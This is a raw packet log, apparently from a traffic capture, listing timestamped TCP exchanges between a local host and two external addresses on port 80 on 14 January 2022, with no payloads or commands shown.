Jan 14, 2022 02:05:14.794219017 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794248104 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794260025 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794286013 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794326067 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794363976 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794382095 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794405937 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794416904 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794527054 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794565916 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794603109 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794615984 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.794642925 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.794656992 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.802532911 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.802589893 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.802663088 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.814423084 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814481974 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814533949 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814575911 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814591885 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.814619064 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814630985 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.814666033 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814706087 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814718008 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.814747095 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814783096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814837933 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.814838886 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814893007 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814905882 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.814932108 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814971924 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.814985991 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815011024 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815052032 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815092087 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815125942 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815128088 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815161943 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815169096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815210104 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815238953 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815277100 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815308094 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815308094 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815342903 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815347910 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815370083 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815386057 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815423965 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815438986 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815464020 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815500021 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815505981 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815538883 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815576077 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815610886 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815623045 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815649986 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815649986 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815689087 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815726042 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815732956 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815764904 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815800905 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815814018 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815839052 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815877914 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.815890074 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.815917015 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.816132069 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.823256016 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823312044 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823350906 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823388100 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823393106 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.823427916 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823440075 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.823468924 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823503971 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.823515892 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.823548079 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.823646069 CET	49874	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:14.875339031 CET	80	49874	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:14.890516996 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890552998 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890578032 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890602112 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890628099 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890650988 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890675068 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890681982 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.890703917 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890716076 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.890731096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890758038 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890758991 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.890782118 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890805960 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890816927 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.890831947 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890856028 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890865088 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.890881062 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890908003 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890907049 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.890932083 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890969038 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890993118 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.890997887 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891016006 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891042948 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891047001 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891058922 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891067982 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891093969 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891118050 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891139030 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891141891 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891163111 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891168118 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891187906 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891210079 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891216993 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891233921 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891258001 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891263962 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891283035 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891307116 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891328096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891330004 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891354084 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891365051 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891379118 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891402006 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891406059 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891427040 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891449928 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891450882 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891477108 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891500950 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891521931 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891522884 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891546965 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891561031 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891571045 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891593933 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891608953 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891618967 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891642094 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891664982 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891669989 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891690016 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.891704082 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.891741991 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966308117 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966366053 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966418028 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966453075 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966456890 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966496944 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966533899 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966536045 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966578007 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966604948 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966614962 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966655970 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966672897 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966694117 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966731071 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966742992 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966768980 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966805935 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966813087 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966845036 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966885090 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966912985 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.966937065 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966975927 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.966984987 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967015982 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967052937 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967062950 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967094898 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967132092 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967139959 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967171907 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967210054 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967223883 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967246056 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967283964 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967289925 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967322111 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967356920 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967364073 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967396975 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967434883 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967441082 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967473030 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967511892 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967518091 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967547894 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967586994 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967590094 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967626095 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967662096 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967674971 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967700958 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967740059 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967752934 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967777967 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967818022 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967830896 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967854023 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967892885 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967906952 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.967931986 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967968941 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.967981100 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.968007088 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.968044043 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.968059063 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.968082905 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.968122005 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.968136072 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:14.968158960 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:14.968204021 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.042798996 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042834044 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042857885 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042881012 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042902946 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042927027 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042922020 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.042948961 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042963028 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.042973995 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.042999983 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043004990 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043011904 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043021917 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043056965 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043080091 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043095112 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043107033 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043132067 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043138981 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043158054 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043179989 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043181896 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043204069 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043227911 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043232918 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043251991 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043275118 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043287039 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043297052 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043320894 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043329954 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043344021 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043365002 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043376923 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043387890 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043411016 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043425083 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043432951 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043456078 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043469906 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043478966 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043502092 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043504953 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043525934 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043546915 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043570042 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043574095 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043585062 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043592930 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043616056 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043637991 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043647051 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043661118 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043684006 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043705940 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043705940 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043728113 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043734074 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043751001 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043773890 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043785095 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043796062 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043814898 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043817997 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043840885 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043860912 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043872118 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043896914 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043916941 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043937922 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043940067 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043962955 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.043975115 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.043983936 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044007063 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044009924 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044030905 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044053078 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044060946 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044076920 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044097900 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044099092 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044121981 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044143915 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044147015 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044166088 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044188023 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044209957 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044219017 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044230938 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044233084 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044256926 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044277906 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044280052 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044302940 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044325113 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044328928 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044347048 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044368982 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044373035 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044392109 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044413090 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044414043 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044437885 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044457912 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044461966 CET	49876	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:15.044481039 CET	80	49876	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:15.044502020 CET	49876	80	192.168.2.3	141.8.194.74
